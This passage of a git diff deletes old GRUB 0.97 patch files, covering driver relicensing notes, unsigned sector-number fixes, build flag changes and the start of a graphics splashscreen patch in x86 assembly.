-diff -uprN grub-0.97/netboot/cs89x0.c grub/netboot/cs89x0.c
---- grub-0.97/netboot/cs89x0.c	2003-07-09 12:45:37.000000000 +0100
-+++ grub/netboot/cs89x0.c	2008-05-20 12:04:18.000000000 +0100
-@@ -1,3 +1,21 @@
-+/**
-+   Per an email message from Russ Nelson <nelson@crynwr.com> on
-+   18 March 2008 this file is now licensed under GPL Version 2.
-+
-+   From: Russ Nelson <nelson@crynwr.com>
-+   Date: Tue, 18 Mar 2008 12:42:00 -0400
-+   Subject: Re: [Etherboot-developers] cs89x0 driver in etherboot
-+   -- quote from email
-+   As copyright holder, if I say it doesn't conflict with the GPL,
-+   then it doesn't conflict with the GPL.
-+
-+   However, there's no point in causing people's brains to overheat,
-+   so yes, I grant permission for the code to be relicensed under the
-+   GPLv2.  Please make sure that this change in licensing makes its
-+   way upstream.  -russ
-+   -- quote from email
-+**/
-+
- /* cs89x0.c: A Crystal Semiconductor CS89[02]0 driver for etherboot. */
- /*
-   Permission is granted to distribute the enclosed cs89x0.[ch] driver
-diff -uprN grub-0.97/netboot/cs89x0.h grub/netboot/cs89x0.h
---- grub-0.97/netboot/cs89x0.h	2003-07-09 12:45:37.000000000 +0100
-+++ grub/netboot/cs89x0.h	2008-05-20 12:04:18.000000000 +0100
-@@ -1,3 +1,21 @@
-+/**
-+   Per an email message from Russ Nelson <nelson@crynwr.com> on
-+   18 March 2008 this file is now licensed under GPL Version 2.
-+
-+   From: Russ Nelson <nelson@crynwr.com>
-+   Date: Tue, 18 Mar 2008 12:42:00 -0400
-+   Subject: Re: [Etherboot-developers] cs89x0 driver in etherboot
-+   -- quote from email
-+   As copyright holder, if I say it doesn't conflict with the GPL,
-+   then it doesn't conflict with the GPL.
-+
-+   However, there's no point in causing people's brains to overheat,
-+   so yes, I grant permission for the code to be relicensed under the
-+   GPLv2.  Please make sure that this change in licensing makes its
-+   way upstream.  -russ
-+   -- quote from email
-+**/
-+
- /*  Copyright, 1988-1992, Russell Nelson, Crynwr Software
- 
-    This program is free software; you can redistribute it and/or modify
-diff -uprN grub-0.97/netboot/etherboot.h grub/netboot/etherboot.h
---- grub-0.97/netboot/etherboot.h	2003-07-09 12:45:37.000000000 +0100
-+++ grub/netboot/etherboot.h	2006-09-08 13:56:22.000000000 +0100
-@@ -531,9 +531,6 @@ extern int ip_abort;
- extern int network_ready;
- extern struct rom_info rom;
- extern struct arptable_t arptable[MAX_ARP];
--extern struct bootpd_t bootp_data;
--#define	BOOTP_DATA_ADDR	(&bootp_data)
--extern unsigned char *end_of_rfc1533;
- 
- /* config.c */
- extern struct nic nic;
-diff -uprN grub-0.97/netboot/main.c grub/netboot/main.c
---- grub-0.97/netboot/main.c	2004-05-20 23:19:33.000000000 +0100
-+++ grub/netboot/main.c	2006-09-08 13:56:22.000000000 +0100
-@@ -56,7 +56,8 @@ static int vendorext_isvalid;
- static unsigned long netmask;
- static struct bootpd_t bootp_data;
- static unsigned long xid;
--static unsigned char *end_of_rfc1533 = NULL;
-+
-+#define	BOOTP_DATA_ADDR	(&bootp_data)
- 
- #ifndef	NO_DHCP_SUPPORT
- #endif /* NO_DHCP_SUPPORT */
-@@ -967,7 +968,6 @@ decode_rfc1533 (unsigned char *p, int bl
-   
-   if (block == 0)
-     {
--      end_of_rfc1533 = NULL;
-       vendorext_isvalid = 0;
-       
-       if (grub_memcmp (p, rfc1533_cookie, 4))
-@@ -1021,7 +1021,7 @@ decode_rfc1533 (unsigned char *p, int bl
- 	}
-       else if (c == RFC1533_END)
- 	{
--	  end_of_rfc1533 = endp = p;
-+	  endp = p;
- 	  continue;
- 	}
-       else if (c == RFC1533_NETMASK)
-diff -uprN grub-0.97/netboot/natsemi.c grub/netboot/natsemi.c
---- grub-0.97/netboot/natsemi.c	2003-07-09 12:45:38.000000000 +0100
-+++ grub/netboot/natsemi.c	2006-09-10 08:26:10.000000000 +0100
-@@ -608,7 +608,7 @@ natsemi_transmit(struct nic  *nic,
- 		 const char  *p)     /* Packet */
- {
-     u32 status, to, nstype;
--    u32 tx_status;
-+    volatile u32 tx_status;
-     
-     /* Stop the transmitter */
-     outl(TxOff, ioaddr + ChipCmd);
-@@ -647,7 +647,7 @@ natsemi_transmit(struct nic  *nic,
- 
-     to = currticks() + TX_TIMEOUT;
- 
--    while ((((volatile u32) tx_status=txd.cmdsts) & OWN) && (currticks() < to))
-+    while (((tx_status=txd.cmdsts) & OWN) && (currticks() < to))
-         /* wait */ ;
- 
-     if (currticks() >= to) {
-diff -uprN grub-0.97/netboot/sis900.c grub/netboot/sis900.c
---- grub-0.97/netboot/sis900.c	2003-07-09 12:45:38.000000000 +0100
-+++ grub/netboot/sis900.c	2006-09-10 08:26:10.000000000 +0100
-@@ -901,7 +901,7 @@ sis900_transmit(struct nic  *nic,
-                 const char  *p)     /* Packet */
- {
-     u32 status, to, nstype;
--    u32 tx_status;
-+    volatile u32 tx_status;
-     
-     /* Stop the transmitter */
-     outl(TxDIS, ioaddr + cr);
-@@ -940,7 +940,7 @@ sis900_transmit(struct nic  *nic,
- 
-     to = currticks() + TX_TIMEOUT;
- 
--    while ((((volatile u32) tx_status=txd.cmdsts) & OWN) && (currticks() < to))
-+    while (((tx_status=txd.cmdsts) & OWN) && (currticks() < to))
-         /* wait */ ;
- 
-     if (currticks() >= to) {
-diff -uprN grub-0.97/netboot/sk_g16.c grub/netboot/sk_g16.c
---- grub-0.97/netboot/sk_g16.c	2003-07-09 12:45:38.000000000 +0100
-+++ grub/netboot/sk_g16.c	2002-01-02 21:56:40.000000000 +0000
-@@ -13,12 +13,12 @@ Changes to make it work with Etherboot b
-  *
-  * Module         : sk_g16.c
-  *
-- * Version        : $Revision: 1.4 $
-+ * Version        : $Revision: 609 $
-  *
-  * Author         : Patrick J.D. Weichmann
-  *
-  * Date Created   : 94/05/26
-- * Last Updated   : $Date: 2002/01/02 21:56:40 $
-+ * Last Updated   : $Date: 2002-01-02 21:56:40 +0000 (mer 02 jan 2002) $
-  *
-  * Description    : Schneider & Koch G16 Ethernet Device Driver for
-  *                  Linux Kernel >= 1.1.22
-diff -uprN grub-0.97/netboot/sk_g16.h grub/netboot/sk_g16.h
---- grub-0.97/netboot/sk_g16.h	2003-07-09 12:45:38.000000000 +0100
-+++ grub/netboot/sk_g16.h	2000-07-29 20:22:54.000000000 +0100
-@@ -4,7 +4,7 @@
-  * of the GNU Public License, incorporated herein by reference.
-  *
-  * Module         : sk_g16.h
-- * Version        : $Revision: 1.3 $
-+ * Version        : $Revision: 388 $
-  *
-  * Author         : M.Hipp (mhipp@student.uni-tuebingen.de)
-  * changes by     : Patrick J.D. Weichmann
-@@ -15,8 +15,8 @@
-  *                  the am7990 (LANCE) chip used for writing a
-  *                  network device driver which uses this chip
-  *
-- * $Log: sk_g16.h,v $
-- * Revision 1.3  2000/07/29 19:22:54  okuji
-+ * $Log$
-+ * Revision 1.3  2000-07-29 19:22:54  okuji
-  * update the network support to etherboot-4.6.4.
-  *
- -*/
-diff -uprN grub-0.97/stage1/Makefile.am grub/stage1/Makefile.am
---- grub-0.97/stage1/Makefile.am	2004-07-16 12:44:56.000000000 +0100
-+++ grub/stage1/Makefile.am	2007-11-05 01:29:46.000000000 +0000
-@@ -5,7 +5,7 @@ CLEANFILES = $(nodist_pkglib_DATA)
- 
- # We can't use builtins or standard includes.
- AM_CCASFLAGS = $(STAGE1_CFLAGS) -fno-builtin -nostdinc
--LDFLAGS = -nostdlib -Wl,-N,-Ttext,7C00
-+stage1_exec_LDFLAGS = -nostdlib -Wl,-N,-Ttext,7C00
- 
- noinst_PROGRAMS = stage1.exec
- stage1_exec_SOURCES = stage1.S stage1.h
-diff -uprN grub-0.97/stage1/Makefile.in grub/stage1/Makefile.in
---- grub-0.97/stage1/Makefile.in	2005-05-08 03:42:36.000000000 +0100
-+++ grub/stage1/Makefile.in	2007-11-05 01:29:46.000000000 +0000
-@@ -110,7 +110,7 @@ INSTALL_DATA = @INSTALL_DATA@
- INSTALL_PROGRAM = @INSTALL_PROGRAM@
- INSTALL_SCRIPT = @INSTALL_SCRIPT@
- INSTALL_STRIP_PROGRAM = @INSTALL_STRIP_PROGRAM@
--LDFLAGS = -nostdlib -Wl,-N,-Ttext,7C00
-+LDFLAGS = @LDFLAGS@
- LIBOBJS = @LIBOBJS@
- LIBS = @LIBS@
- LTLIBOBJS = @LTLIBOBJS@
-@@ -188,6 +188,7 @@ CLEANFILES = $(nodist_pkglib_DATA)
- 
- # We can't use builtins or standard includes.
- AM_CCASFLAGS = $(STAGE1_CFLAGS) -fno-builtin -nostdinc
-+stage1_exec_LDFLAGS = -nostdlib -Wl,-N,-Ttext,7C00
- stage1_exec_SOURCES = stage1.S stage1.h
- SUFFIXES = .exec
- all: all-am
-diff -uprN grub-0.97/stage2/bios.c grub/stage2/bios.c
---- grub-0.97/stage2/bios.c	2004-03-27 16:34:04.000000000 +0000
-+++ grub/stage2/bios.c	2008-03-28 13:22:28.000000000 +0000
-@@ -47,7 +47,7 @@ extern int get_diskinfo_floppy (int driv
-    return the error number. Otherwise, return 0.  */
- int
- biosdisk (int read, int drive, struct geometry *geometry,
--	  int sector, int nsec, int segment)
-+	  unsigned int sector, int nsec, int segment)
- {
-   int err;
-   
-diff -uprN grub-0.97/stage2/boot.c grub/stage2/boot.c
---- grub-0.97/stage2/boot.c	2004-03-30 12:44:08.000000000 +0100
-+++ grub/stage2/boot.c	2005-09-28 22:47:55.000000000 +0100
-@@ -1,7 +1,7 @@
- /* boot.c - load and bootstrap a kernel */
- /*
-  *  GRUB  --  GRand Unified Bootloader
-- *  Copyright (C) 1999,2000,2001,2002,2003,2004  Free Software Foundation, Inc.
-+ *  Copyright (C) 1999,2000,2001,2002,2003,2004,2005  Free Software Foundation, Inc.
-  *
-  *  This program is free software; you can redistribute it and/or modify
-  *  it under the terms of the GNU General Public License as published by
-@@ -96,7 +96,7 @@ load_image (char *kernel, char *arg, ker
-   lh = (struct linux_kernel_header *) buffer;
-   
-   /* ELF loading supported if multiboot, FreeBSD and NetBSD.  */
--  if ((type == KERNEL_TYPE_MULTIBOOT
-+  if (((type == KERNEL_TYPE_MULTIBOOT && ! (flags & MULTIBOOT_AOUT_KLUDGE))
-        || pu.elf->e_ident[EI_OSABI] == ELFOSABI_FREEBSD
-        || grub_strcmp (pu.elf->e_ident + EI_BRAND, "FreeBSD") == 0
-        || suggested_type == KERNEL_TYPE_NETBSD)
-diff -uprN grub-0.97/stage2/builtins.c grub/stage2/builtins.c
---- grub-0.97/stage2/builtins.c	2005-02-15 21:58:23.000000000 +0000
-+++ grub/stage2/builtins.c	2006-03-21 20:51:58.000000000 +0000
-@@ -3830,15 +3830,15 @@ setup_func (char *arg, int flags)
- 	{
- 	  char tmp[16];
- 	  grub_sprintf (tmp, ",%d", (partition >> 16) & 0xFF);
--	  grub_strncat (device, tmp, 256);
-+	  grub_strncat (device, tmp, sizeof (device));
- 	}
-       if ((partition & 0x00FF00) != 0x00FF00)
- 	{
- 	  char tmp[16];
- 	  grub_sprintf (tmp, ",%c", 'a' + ((partition >> 8) & 0xFF));
--	  grub_strncat (device, tmp, 256);
-+	  grub_strncat (device, tmp, sizeof (device));
- 	}
--      grub_strncat (device, ")", 256);
-+      grub_strncat (device, ")", sizeof (device));
-     }
-   
-   int embed_stage1_5 (char *stage1_5, int drive, int partition)
-diff -uprN grub-0.97/stage2/disk_io.c grub/stage2/disk_io.c
---- grub-0.97/stage2/disk_io.c	2004-05-23 17:35:24.000000000 +0100
-+++ grub/stage2/disk_io.c	2008-03-28 13:22:28.000000000 +0000
-@@ -137,7 +137,7 @@ log2 (unsigned long word)
- }
- 
- int
--rawread (int drive, int sector, int byte_offset, int byte_len, char *buf)
-+rawread (int drive, unsigned int sector, int byte_offset, int byte_len, char *buf)
- {
-   int slen, sectors_per_vtrack;
-   int sector_size_bits = log2 (buf_geom.sector_size);
-@@ -261,7 +261,7 @@ rawread (int drive, int sector, int byte
-        */
-       if (disk_read_func)
- 	{
--	  int sector_num = sector;
-+	  unsigned int sector_num = sector;
- 	  int length = buf_geom.sector_size - byte_offset;
- 	  if (length > size)
- 	    length = size;
-@@ -291,7 +291,7 @@ rawread (int drive, int sector, int byte
- 
- 
- int
--devread (int sector, int byte_offset, int byte_len, char *buf)
-+devread (unsigned int sector, int byte_offset, int byte_len, char *buf)
- {
-   /*
-    *  Check partition boundaries
-@@ -330,7 +330,7 @@ devread (int sector, int byte_offset, in
- 
- #ifndef STAGE1_5
- int
--rawwrite (int drive, int sector, char *buf)
-+rawwrite (int drive, unsigned int sector, char *buf)
- {
-   if (sector == 0)
-     {
-@@ -363,7 +363,7 @@ rawwrite (int drive, int sector, char *b
- }
- 
- int
--devwrite (int sector, int sector_count, char *buf)
-+devwrite (unsigned int sector, int sector_count, char *buf)
- {
- #if defined(GRUB_UTIL) && defined(__linux__)
-   if (current_partition != 0xFFFFFF
-diff -uprN grub-0.97/stage2/fsys_ffs.c grub/stage2/fsys_ffs.c
---- grub-0.97/stage2/fsys_ffs.c	2003-07-09 12:45:52.000000000 +0100
-+++ grub/stage2/fsys_ffs.c	2001-11-12 06:57:29.000000000 +0000
-@@ -50,7 +50,7 @@
-  * the rights to redistribute these changes.
-  *
-  *	from: Mach, Revision 2.2  92/04/04  11:35:49  rpd
-- *	$Id: fsys_ffs.c,v 1.10 2001/11/12 06:57:29 okuji Exp $
-+ *	$Id: fsys_ffs.c 594 2001-11-12 06:57:29Z okuji $
-  */
- 
- #ifdef FSYS_FFS
-diff -uprN grub-0.97/stage2/fsys_ufs2.c grub/stage2/fsys_ufs2.c
---- grub-0.97/stage2/fsys_ufs2.c	2004-06-19 13:17:52.000000000 +0100
-+++ grub/stage2/fsys_ufs2.c	2004-06-19 13:17:52.000000000 +0100
-@@ -51,7 +51,7 @@
-  * the rights to redistribute these changes.
-  *
-  *	from: Mach, Revision 2.2  92/04/04  11:35:49  rpd
-- *	$Id: fsys_ufs2.c,v 1.2 2004/06/19 12:17:52 okuji Exp $
-+ *	$Id: fsys_ufs2.c 841 2004-06-19 12:17:52Z okuji $
-  */
- 
- #ifdef FSYS_UFS2
-diff -uprN grub-0.97/stage2/imgact_aout.h grub/stage2/imgact_aout.h
---- grub-0.97/stage2/imgact_aout.h	2003-07-09 12:45:53.000000000 +0100
-+++ grub/stage2/imgact_aout.h	1999-06-24 01:03:29.000000000 +0100
-@@ -32,7 +32,7 @@
-  * SUCH DAMAGE.
-  *
-  *	from: @(#)exec.h	8.1 (Berkeley) 6/11/93
-- *	$Id: imgact_aout.h,v 1.1 1999/06/24 00:03:22 okuji Exp $
-+ *	$Id: imgact_aout.h 98 1999-06-24 00:03:29Z okuji $
-  */
- /*
-  *  11/23/95 - Kludge to get "ntohl" null macro added.  -- ESB
-diff -uprN grub-0.97/stage2/iso9660.h grub/stage2/iso9660.h
---- grub-0.97/stage2/iso9660.h	2004-03-27 16:02:38.000000000 +0000
-+++ grub/stage2/iso9660.h	2007-02-22 23:40:25.000000000 +0000
-@@ -73,11 +73,11 @@ typedef	union {
- 
- typedef	struct __iso_16bit {
-   u_int16_t l, b;
--} iso_16bit_t __attribute__ ((packed));
-+} iso_16bit_t;
- 
- typedef	struct __iso_32bit {
-   u_int32_t l, b;
--} iso_32bit_t __attribute__ ((packed));
-+} iso_32bit_t;
- 
- typedef u_int8_t		iso_date_t[7];
- 
-diff -uprN grub-0.97/stage2/shared.h grub/stage2/shared.h
---- grub-0.97/stage2/shared.h	2004-06-19 17:40:09.000000000 +0100
-+++ grub/stage2/shared.h	2008-03-28 13:22:28.000000000 +0000
-@@ -499,7 +499,11 @@ struct vbe_mode
-   unsigned char linear_reserved_field_position;
-   unsigned long max_pixel_clock;
- 
--  unsigned char reserved3[189];
-+  /* Reserved field to make structure to be 256 bytes long, VESA BIOS 
-+     Extension 3.0 Specification says to reserve 189 bytes here but 
-+     that doesn't make structure to be 256 bytes.  So additional one is 
-+     added here.  */
-+  unsigned char reserved3[189 + 1];
- } __attribute__ ((packed));
- 
- 
-@@ -807,7 +811,7 @@ int checkkey (void);
- /* Low-level disk I/O */
- int get_diskinfo (int drive, struct geometry *geometry);
- int biosdisk (int subfunc, int drive, struct geometry *geometry,
--	      int sector, int nsec, int segment);
-+	      unsigned int sector, int nsec, int segment);
- void stop_floppy (void);
- 
- /* Command-line interface functions. */
-@@ -920,10 +924,10 @@ int gunzip_test_header (void);
- int gunzip_read (char *buf, int len);
- #endif /* NO_DECOMPRESSION */
- 
--int rawread (int drive, int sector, int byte_offset, int byte_len, char *buf);
--int devread (int sector, int byte_offset, int byte_len, char *buf);
--int rawwrite (int drive, int sector, char *buf);
--int devwrite (int sector, int sector_len, char *buf);
-+int rawread (int drive, unsigned int sector, int byte_offset, int byte_len, char *buf);
-+int devread (unsigned int sector, int byte_offset, int byte_len, char *buf);
-+int rawwrite (int drive, unsigned int sector, char *buf);
-+int devwrite (unsigned int sector, int sector_len, char *buf);
- 
- /* Parse a device string and initialize the global parameters. */
- char *set_device (char *device);
-diff -uprN grub-0.97/stage2/stage2.c grub/stage2/stage2.c
---- grub-0.97/stage2/stage2.c	2005-03-19 17:51:57.000000000 +0000
-+++ grub/stage2/stage2.c	2006-05-05 23:06:31.000000000 +0100
-@@ -651,7 +651,10 @@ restart:
- 		  *(new_heap++) = 0;
- 
- 		  if (config_entries)
--		    run_menu (heap, NULL, new_num_entries, new_heap, 0);
-+		    {
-+		      current_entryno = first_entry + entryno;
-+		      run_menu (heap, NULL, new_num_entries, new_heap, 0);
-+		    }
- 		  else
- 		    {
- 		      cls ();
-@@ -727,7 +730,8 @@ restart:
- 	cur_entry = get_entry (config_entries, first_entry + entryno, 1);
- 
-       /* Set CURRENT_ENTRYNO for the command "savedefault".  */
--      current_entryno = first_entry + entryno;
-+      if (config_entries)
-+	current_entryno = first_entry + entryno;
-       
-       if (run_script (cur_entry, heap))
- 	{
-diff -uprN grub-0.97/stage2/tparm.c grub/stage2/tparm.c
---- grub-0.97/stage2/tparm.c	2003-07-09 12:45:53.000000000 +0100
-+++ grub/stage2/tparm.c	2002-11-29 20:39:24.000000000 +0000
-@@ -63,7 +63,7 @@ typedef char grub_bool;
- #define MAX_FORMAT_LEN 256
- #define max(a,b) ((a) > (b) ? (a) : (b))
- 
--//MODULE_ID("$Id: tparm.c,v 1.1 2002/11/29 20:39:24 okuji Exp $")
-+//MODULE_ID("$Id: tparm.c 708 2002-11-29 20:39:24Z okuji $")
- 
- /*
-  *	char *
-diff -uprN grub-0.97/stamp-h.in grub/stamp-h.in
---- grub-0.97/stamp-h.in	1970-01-01 01:00:00.000000000 +0100
-+++ grub/stamp-h.in	1999-09-13 14:32:31.000000000 +0100
-@@ -0,0 +1 @@
-+timestamp
-diff -uprN grub-0.97/THANKS grub/THANKS
---- grub-0.97/THANKS	2005-05-08 03:17:43.000000000 +0100
-+++ grub/THANKS	2006-03-21 20:51:58.000000000 +0000
-@@ -121,3 +121,4 @@ Vesa Jaaskelainen <jaaskela@tietomyrsky.
- Yedidyah Bar-David <didi@post.tau.ac.il>
- Yury V. Umanets <umka@namesys.com>
- Yuri Zaporogets <yuriz@ukr.net>
-+Vitaly Fertman <vitaly@namesys.com>
-diff -uprN grub-0.97/util/grub-install.in grub/util/grub-install.in
---- grub-0.97/util/grub-install.in	2004-07-24 19:57:31.000000000 +0100
-+++ grub/util/grub-install.in	2006-04-20 14:46:46.000000000 +0100
-@@ -112,8 +112,8 @@ convert () {
- 	tmp_disk=`echo "$1" | sed 's%\([sh]d[0-9]*\).*%\1%'`
- 	tmp_part=`echo "$1" | sed "s%$tmp_disk%%"` ;;
-     freebsd* | kfreebsd*-gnu)
--	tmp_disk=`echo "$1" | sed 's%r\{0,1\}\([saw]d[0-9]*\).*$%r\1%' \
--			    | sed 's%r\{0,1\}\(da[0-9]*\).*$%r\1%'`
-+	tmp_disk=`echo "$1" | sed 's%r\{0,1\}\([saw]d[0-9]*\).*$%\1%' \
-+			    | sed 's%r\{0,1\}\(da[0-9]*\).*$%\1%'`
- 	tmp_part=`echo "$1" \
- 	    | sed "s%.*/r\{0,1\}[saw]d[0-9]\(s[0-9]*[a-h]\)%\1%" \
-        	    | sed "s%.*/r\{0,1\}da[0-9]\(s[0-9]*[a-h]\)%\1%"`
-diff -uprN grub-0.97/util/mkbimage grub/util/mkbimage
---- grub-0.97/util/mkbimage	2004-07-24 19:57:31.000000000 +0100
-+++ grub/util/mkbimage	2007-02-22 16:01:03.000000000 +0000
-@@ -1,7 +1,7 @@
- #!/bin/sh
- # MaKe a Bootable IMAGE --- 1.44, 2.88 and El Torito no-emulation mode
- # C) 2001,2002,2003 Thierry Laronde <tlaronde@polynum.org>
--# C) 2001,2002,2003 Robert Millan <robertmh@gnu.org>
-+# C) 2001,2002,2003 Robert Millan <rmh@aybabtu.com>
- 
- 
- # This program is free software; you can redistribute it and/or modify
-@@ -19,7 +19,7 @@
- # program's maintainer or write to: The Free Software Foundation,
- # Inc.; 59 Temple Place, Suite 330; Boston, MA 02111-1307, USA.
- 
--# $Id: mkbimage,v 1.19 2004/07/21 14:43:04 robertmh Exp $
-+# $Id: mkbimage 1233 2007-02-22 16:01:03Z robertmh $
- 
- # Global variables
- tarfile=
-@@ -58,7 +58,7 @@ stage2_os_name=
- 
- # Name by which this script was invoked.
- program=`echo "$0" | sed -e 's/[^\/]*\///g'`
--version_number='$Revision: 1.19 $'
-+version_number='$Revision: 1233 $'
- 
- usage="
- Usage: $program [-hVF] [-t TYPE] [-d DIRECTORY] [-s FS_TYPE] -f TAR_FILE
-@@ -94,15 +94,13 @@ Options:
- 	    display Version information and exit
- 
- Copyright (c) 2001,2002,2003 Thierry Laronde <tlaronde@polynum.org>. 
--Copyright (c) 2001,2002 Robert Millan <zeratul2@wanadoo.es>.
- GPLed."
- 
- version="mkbimage $version_number
- 
--Written by Thierry Laronde and Robert Millan.
-+Written by Thierry Laronde.
- 
- Copyright (c) 2001,2002,2003 Thierry Laronde <tlaronde@polynum.org>.
--Copyright (c) 2001,2002,2003 Robert Millan <zeratul2@wanadoo.es>.
- 
- This is free software under the GPL version 2 or later; see the source for 
- copying conditions.  There is NO warranty, not even for MERCHANTABILITY or 
diff --git a/stubdom/grub.patches/10graphics.diff b/stubdom/grub.patches/10graphics.diff
deleted file mode 100644
index 5ee2852fd7..0000000000
--- a/stubdom/grub.patches/10graphics.diff
+++ /dev/null
@@ -1,2297 +0,0 @@
-diff -Naur grub-0.97.orig/configure.ac grub-0.97/configure.ac
---- grub-0.97.orig/configure.ac	2005-05-07 23:36:03.000000000 -0300
-+++ grub-0.97/configure.ac	2005-06-12 20:56:49.000000000 -0300
-@@ -595,6 +595,11 @@
-   [  --enable-diskless       enable diskless support])
- AM_CONDITIONAL(DISKLESS_SUPPORT, test "x$enable_diskless" = xyes)
- 
-+dnl Graphical splashscreen support
-+AC_ARG_ENABLE(graphics,
-+  [  --disable-graphics      disable graphics terminal support])
-+AM_CONDITIONAL(GRAPHICS_SUPPORT, test "x$enable_graphics" != xno)
-+
- dnl Hercules terminal
- AC_ARG_ENABLE(hercules,
-   [  --disable-hercules      disable hercules terminal support])
-diff -Naur grub-0.97.orig/stage2/asm.S grub-0.97/stage2/asm.S
---- grub-0.97.orig/stage2/asm.S	2004-06-19 13:55:22.000000000 -0300
-+++ grub-0.97/stage2/asm.S	2005-06-13 14:05:31.000000000 -0300
-@@ -2216,7 +2216,304 @@
- 	pop	%ebx
- 	pop	%ebp
- 	ret
--		
-+
-+
-+/* graphics mode functions */
-+#ifdef SUPPORT_GRAPHICS
-+VARIABLE(cursorX)
-+.word	0
-+VARIABLE(cursorY)
-+.word	0
-+VARIABLE(cursorCount)
-+.word 0
-+VARIABLE(cursorBuf)
-+.byte	0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
-+
-+
-+/*
-+ * set_int1c_handler(void)
-+ */
-+ENTRY(set_int1c_handler)
-+	pushl   %edi
-+
-+	/* save the original int1c handler */
-+	movl    $0x70, %edi
-+	movw    (%edi), %ax
-+	movw    %ax, ABS(int1c_offset)
-+	movw    2(%edi), %ax
-+	movw    %ax, ABS(int1c_segment)
-+
-+	/* save the new int1c handler */
-+	movw    $ABS(int1c_handler), %ax
-+	movw    %ax, (%edi)
-+	xorw    %ax, %ax
-+	movw    %ax, 2(%edi)
-+
-+	popl    %edi
-+	ret
-+
-+
-+/*
-+ * unset_int1c_handler(void)
-+ */
-+ENTRY(unset_int1c_handler)
-+	pushl   %edi
-+
-+	/* check if int1c_handler is set */
-+	movl    $0x70, %edi
-+	movw    $ABS(int1c_handler), %ax
-+	cmpw    %ax, (%edi)
-+	jne     int1c_1
-+	xorw    %ax, %ax
-+	cmpw    %ax, 2(%edi)
-+	jne     int1c_1
-+
-+	/* restore the original */
-+	movw    ABS(int1c_offset), %ax
-+	movw    %ax, (%edi)
-+	movw    ABS(int1c_segment), %ax
-+	movw    %ax, 2(%edi)
-+
-+int1c_1:
-+	popl    %edi
-+	ret
-+
-+
-+/*
-+ * blinks graphics cursor
-+ */
-+	.code16
-+write_data:
-+	movw    $0, %ax
-+	movw    %ax, %ds
-+
-+	mov     $0xA000, %ax            /* video in es:di */
-+	mov     %ax, %es
-+	mov     $80, %ax
-+	movw    $ABS(cursorY), %si
-+	mov     %ds:(%si), %bx
-+	mul     %bx
-+	movw    $ABS(cursorX), %si
-+	mov     %ds:(%si), %bx
-+	shr     $3, %bx                 /* %bx /= 8 */
-+	add     %bx, %ax
-+	mov     %ax, %di
-+
-+	movw    $ABS(cursorBuf), %si    /* fontBuf in ds:si */
-+
-+	/* prepare for data moving */
-+	mov     $16, %dx                /* altura da fonte */
-+	mov     $80, %bx                /* bytes por linha */
-+
-+write_loop:
-+	movb    %ds:(%si), %al
-+	xorb    $0xff, %al
-+	movb    %al, %ds:(%si)          /* invert cursorBuf */
-+	movb    %al, %es:(%di)          /* write to video */
-+	add     %bx, %di
-+	inc     %si
-+	dec     %dx
-+	jg      write_loop
-+	ret
-+
-+int1c_handler:
-+	pusha
-+	mov     $0, %ax
-+	mov     %ax, %ds
-+	mov     $ABS(cursorCount), %si
-+	mov     %ds:(%si), %ax
-+	inc     %ax
-+	mov     %ax, %ds:(%si)
-+	cmp     $9, %ax
-+	jne     int1c_done
-+
-+	mov     $0, %ax
-+	mov     %ax, %ds:(%si)
-+	call    write_data
-+
-+int1c_done:
-+	popa
-+	iret
-+	/* call previous int1c handler */
-+	/* ljmp */
-+	.byte   0xea
-+int1c_offset:  .word   0
-+int1c_segment: .word   0
-+	.code32
-+
-+
-+/*
-+ * unsigned char set_videomode(unsigned char mode)
-+ * BIOS call "INT 10H Function 0h" to set video mode
-+ *	Call with	%ah = 0x0
-+ *			%al = video mode
-+ *  Returns old videomode.
-+ */
-+ENTRY(set_videomode)
-+	pushl	%ebp
-+	movl	%esp,%ebp
-+	pushl	%ebx
-+	pushl	%ecx
-+
-+	movb	8(%ebp), %cl
-+
-+	call	EXT_C(prot_to_real)
-+	.code16
-+
-+	xorb	%al, %al
-+	movb	$0xf, %ah
-+	int	$0x10			/* Get Current Video mode */
-+	movb	%al, %ch
-+	xorb	%ah, %ah
-+	movb	%cl, %al
-+	int	$0x10			/* Set Video mode */
-+
-+	DATA32	call	EXT_C(real_to_prot)
-+	.code32
-+
-+	xorl	%eax, %eax
-+	movb	%ch, %al
-+
-+	popl	%ecx
-+	popl	%ebx
-+	popl	%ebp
-+	ret
-+
-+
-+/*
-+ * int get_videomode()
-+ * BIOS call "INT 10H Function 0Fh" to get current video mode
-+ *	Call with	%al = 0x0
-+ *			%ah = 0xF
-+ *	Returns current videomode.
-+ */
-+ENTRY(get_videomode)
-+	pushl	%ebp
-+	movl	%esp,%ebp
-+	pushl	%ebx
-+	pushl	%ecx
-+
-+	call	EXT_C(prot_to_real)
-+	.code16
-+
-+	xorb	%al, %al
-+	movb	$0xF, %ah
-+	int	$0x10			/* Get Current Video mode */
-+	movb	%al, %cl	/* For now we only want display mode */
-+
-+	DATA32	call	EXT_C(real_to_prot)
-+	.code32
-+
-+	xorl	%eax, %eax
-+	movb	%cl, %al
-+
-+	popl	%ecx
-+	popl	%ebx
-+	popl	%ebp
-+	ret
-+
-+
-+/*
-+ * unsigned char * graphics_get_font()
-+ * BIOS call "INT 10H Function 11h" to set font
-+ *      Call with       %ah = 0x11
-+ */
-+ENTRY(graphics_get_font)
-+	push	%ebp
-+	push	%ebx
-+	push	%ecx
-+	push	%edx
-+
-+	call	EXT_C(prot_to_real)
-+	.code16
-+
-+	movw	$0x1130, %ax
-+	movb	$6, %bh		/* font 8x16 */
-+	int	$0x10
-+	movw	%bp, %dx
-+	movw	%es, %cx
-+
-+	DATA32	call	EXT_C(real_to_prot)
-+	.code32
-+
-+	xorl	%eax, %eax
-+	movw	%cx, %ax
-+	shll	$4, %eax
-+	movw	%dx, %ax
-+
-+	pop	%edx
-+	pop	%ecx
-+	pop	%ebx
-+	pop	%ebp
-+	ret
-+
-+
-+/*
-+ * graphics_set_palette(index, red, green, blue)
-+ * BIOS call "INT 10H Function 10h" to set individual dac register
-+ *	Call with	%ah = 0x10
-+ *			%bx = register number
-+ *			%ch = new value for green (0-63)
-+ *			%cl = new value for blue (0-63)
-+ *			%dh = new value for red (0-63)
-+ */
-+
-+ENTRY(graphics_set_palette)
-+	push	%ebp
-+	push	%eax
-+	push	%ebx
-+	push	%ecx
-+	push	%edx
-+
-+	movw	$0x3c8, %bx		/* address write mode register */
-+
-+	/* wait vertical retrace */
-+	movw	$0x3da, %dx
-+l1b:
-+	inb	%dx, %al	/* wait vertical active display */
-+	test	$8, %al
-+	jnz	l1b
-+
-+l2b:
